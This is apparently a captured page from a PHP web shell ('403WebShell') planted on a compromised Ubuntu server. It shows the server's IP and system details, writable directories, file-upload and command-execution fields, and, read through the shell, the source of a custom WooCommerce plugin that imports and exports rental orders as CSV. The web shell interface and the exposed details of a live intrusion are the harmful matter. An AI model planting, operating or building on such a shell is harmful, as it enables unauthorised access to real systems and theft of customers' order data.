Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.216.182
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/order-import-export/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/order-import-export/index.php
<?php
/**
 * Plugin Name: WooCommerce Order Import Export
 * Description: Custom plugin to export and import WooCommerce orders via CSV.
 * Version: 1.0
 * Author: Itrosys
 */

if (!defined('ABSPATH')) exit;

// Add Export Orders Page
function add_export_orders_page() {
    add_submenu_page('woocommerce', 'Export Orders', 'Export Orders', 'manage_woocommerce', 'export-orders', 'export_orders_function');
}
add_action('admin_menu', 'add_export_orders_page');

// Export Orders Function
function export_orders_function() {
    if (!current_user_can('manage_woocommerce')) return;

   
    
    if (isset($_GET['export_orders'])) {
       // Clear output buffer
       if (ob_get_length()) {
        ob_end_clean();
    }

    // Set headers for CSV file
    header("Content-Type: text/csv; charset=utf-8");
    header("Content-Disposition: attachment; filename=woocommerce-orders.csv");
    header("Pragma: no-cache");
    header("Expires: 0");

    // Open output stream
    $output = fopen('php://output', 'w');

        // $output = fopen('php://output', 'w');
        fputcsv($output, array('Order ID', 'Date', 'Status', 'Total', 'Customer Name', 'Email', 'Model Name', 'Start Date', 'End Date', 'No. of Shift', 'Rental Amount' , 'Deposit Amount','UTR'));

        $orders = wc_get_orders(array('limit' => -1));
        foreach ($orders as $order) {
            $start_date = get_post_meta($order->get_id(), 'start_date', true);
            $end_date = get_post_meta($order->get_id(), 'end_date', true);
            $number_of_shifts = get_post_meta($order->get_id(), '_number_shifts_required', true); 
            $rental_amount = get_post_meta($order->get_id(), 'rental_amount', true); 
            $deposit_amount = get_post_meta($order->get_id(), 'deposit_amount', true); 
            $utr_field = get_post_meta($order->get_id(), 'utr_field', true); 

            // Ensure dates are formatted as d-m-Y
            $formatted_start_date = ($start_date) ? date('d-m-Y', strtotime($start_date)) : '';
            $formatted_end_date = ($end_date) ? date('d-m-Y', strtotime($end_date)) : '';

            fputcsv($output, array(
                $order->get_id(),
                $order->get_date_created()->date('Y-m-d H:i:s'),
                $order->get_status(),
                $order->get_total(),
                $order->get_billing_first_name() . ' ' . $order->get_billing_last_name(),
                $order->get_billing_email(),
                get_post_meta($order->get_id(), 'model_name', true), // Export custom field Model Name
                $formatted_start_date, // Formatted Start Date
                $formatted_end_date ,// Formatted End Date
                $number_of_shifts,
                $rental_amount,
                $deposit_amount,
                $utr_field,
            ));
        }
        fclose($output);
        exit;
    }

    echo '<div class="wrap"><h1>Export Orders</h1>';
    echo '<a href="' . admin_url('admin.php?page=export-orders&export_orders=1') . '" class="button-primary">Export Contracts</a><br><br>';
    // echo '<a href="' . admin_url('admin.php?page=export-orders&download_template=1') . '" class="button-secondary">Download Import Template</a></div>';
}

// Export Template Function
function export_template_function() {
    
   
    if (isset($_GET['download_template'])) {
        ob_end_clean(); 
        if (ob_get_length()) ob_clean(); 
        
        header('Content-Type: text/csv; charset=UTF-8');
        header('Content-Disposition: attachment; filename=woocommerce-import-template.csv');
        header('Pragma: no-cache');
        header('Expires: 0');
       
        // header('Content-Disposition: attachment; filename=woocommerce-import-template.csv');

        $output = fopen('php://output', 'w');
        fputcsv($output, array('Customer Name', 'Email', 'Model Name', 'Start Date','End Date','No. of Shift', 'Rental Amount' , 'Deposit Amount','UTR','Rental Contract Id'));
        fclose($output);
        exit;
    }
}
add_action('admin_init', 'export_template_function');

// Add Import Orders Page
function add_import_orders_page() {
    add_submenu_page('woocommerce', 'Import Orders', 'Import Orders', 'manage_woocommerce', 'import-orders', 'import_orders_function');
}
add_action('admin_menu', 'add_import_orders_page');

// Import Orders Function
function import_orders_function() {
    if (!current_user_can('manage_woocommerce')) return;

    if (isset($_POST['import_orders']) && !empty($_FILES['csv_file']['tmp_name'])) {
        $csv = array_map('str_getcsv', file($_FILES['csv_file']['tmp_name']));
        array_shift($csv); // Remove header row
        
        // Get last order ID and set auto-increment
        $last_order = wc_get_orders(array('limit' => 1, 'orderby' => 'ID', 'order' => 'DESC'));
        $last_order_id = !empty($last_order) ? $last_order[0]->get_id() : 6788;

        $error_messages = [];

        // foreach ($csv as $row) {
        //     $last_order_id++; // Increment order ID
            
        //     // Retrieve start and end dates without any validation or formatting
        //     $start_date = !empty($row[6]) ? $row[6] : '';
        //     $end_date = !empty($row[7]) ? $row[7] : '';

        //     // Proceed with order import if no errors
        //     $order = wc_create_order();
        //     $order->set_status($row[1]); // Order Status
        //     $order->set_total($row[2]);  // Order Total
        //     $order->set_billing_first_name($row[3]);
        //     $order->set_billing_last_name(''); // Assuming blank last name for now
        //     $order->set_billing_email($row[4]);

        //     // Save custom fields directly without any date format or validation
        //     update_post_meta($order->get_id(), 'model_name', $row[5]); // Import custom field Model Name
        //     update_post_meta($order->get_id(), 'start_date', $start_date); // Save Start Date as it is
        //     update_post_meta($order->get_id(), 'end_date', $end_date); // Save End Date as it is
        //     update_post_meta($order->get_id(), 'number_shifts_required', $row[8]); // No. of Shifts
        //     update_post_meta($order->get_id(), 'rental_amount', $row[9]); // Rental Amount
        //     update_post_meta($order->get_id(), 'deposit_amount', $row[10]); // Deposit Amount
        //      // Check if the 11th column exists before using it
        //      $utr_field = isset($row[11]) ? $row[11] : ''; // Default to empty string if not set
        //      update_post_meta($order->get_id(), 'utr_field', $utr_field); // UTR field

        //     $order->save();
        // }
        
        foreach ($csv as $row) {
            $last_order_id++; // Increment order ID
            
            // Retrieve start and end dates
            $start_date = !empty($row[3]) ? $row[3] : '';
            $end_date = !empty($row[4]) ? $row[4] : '';
        
            // Retrieve Customer Name & Email from CSV
            $customer_name = trim($row[0]); // Assuming customer name is in the first column
            $customer_email = isset($row[3]) ? trim($row[1]) : ''; // Assuming email is in the fourth column
        
            // Validate email format
            if (!filter_var($customer_email, FILTER_VALIDATE_EMAIL)) {
                $customer_email = 'noemail@example.com'; // Default email if invalid
            }
        
            // Find user by email
            $user = get_user_by('email', $customer_email);
            $customer_id = $user ? $user->ID : 0; // Assign user ID if found
        
            // Create WooCommerce Order
            $order = wc_create_order([
                'customer_id' => $customer_id, 
            ]);
            $order->set_status('wc-sdp'); // Set default status to Security Deposite Paid
            $order->save();
        
            // $order->set_status($row[1]); 
            // $order->set_total($row[2]);  
            $order->set_billing_first_name($customer_name);
            $order->set_billing_last_name(''); 
            $order->set_billing_email($customer_email); 
        
            // Save custom fields
            update_post_meta($order->get_id(), 'model_name', $row[2]); // Model Name
            update_post_meta($order->get_id(), 'start_date', $start_date);
            update_post_meta($order->get_id(), 'end_date', $end_date);
            $number_of_shifts = !empty($row[5]) ? $row[5] : '1'; 
            update_post_meta($order->get_id(), '_number_shifts_required', $number_of_shifts);
            update_post_meta($order->get_id(), 'rental_amount', $row[6]);
            update_post_meta($order->get_id(), 'deposit_amount', $row[7]);
            $utr_field = !empty($row[8]) ? $row[8] : '00UTR1'; 
            update_post_meta($order->get_id(), 'utr_field', $utr_field);
            update_post_meta($order->get_id(), 'contract_id', $row[9]);// for updation of rental contract id
            
            update_post_meta($order->get_id(), '_custom_upload_file', 'https://uatcatrentals.gmmco.in/wp-content/uploads/2025/02/sample.pdf');


        
            $order->save();
        }
        
        
        
        echo '<div class="updated"><p>Orders imported successfully.</p></div>';
    }

    echo '<div class="wrap"><h1>Import Orders</h1>';
    echo '<form method="post" enctype="multipart/form-data">';
    echo '<input type="file" name="csv_file" required> ';
    echo '<input type="submit" name="import_orders" value="Import Orders" class="button-primary">';
    echo '</form></div>';
}


// Function to validate date format (d-m-Y)
function validate_date_format($date) {
    $dmy_format = 'd-m-Y';
    $date_obj = DateTime::createFromFormat($dmy_format, $date);
    return $date_obj && $date_obj->format($dmy_format) === $date;
}

function add_export_import_buttons_beside_add_order() {
    $screen = get_current_screen();
    
    if ($screen->id === 'edit-shop_order') {
        ?>
        <script type="text/javascript">
            jQuery(document).ready(function($) {
                var addOrderBtn = $('.page-title-action');

                if (addOrderBtn.length) {
                    $('<a href="<?php echo admin_url('admin.php?page=export-orders&export_orders=1'); ?>" class="page-title-action">Export Contracts</a>').insertAfter(addOrderBtn);
                    $('<a href="<?php echo admin_url('admin.php?page=export-orders&download_template=1'); ?>" class="page-title-action">Download Template</a>').insertAfter(addOrderBtn);
                    $('<a href="<?php echo admin_url('admin.php?page=import-orders'); ?>" class="page-title-action">Import Contracts</a>').insertAfter(addOrderBtn);
                }
            });
        </script>
        <?php
    }
}
add_action('admin_footer', 'add_export_import_buttons_beside_add_order');

Youez - 2016 - github.com/yon3zu
LinuXploit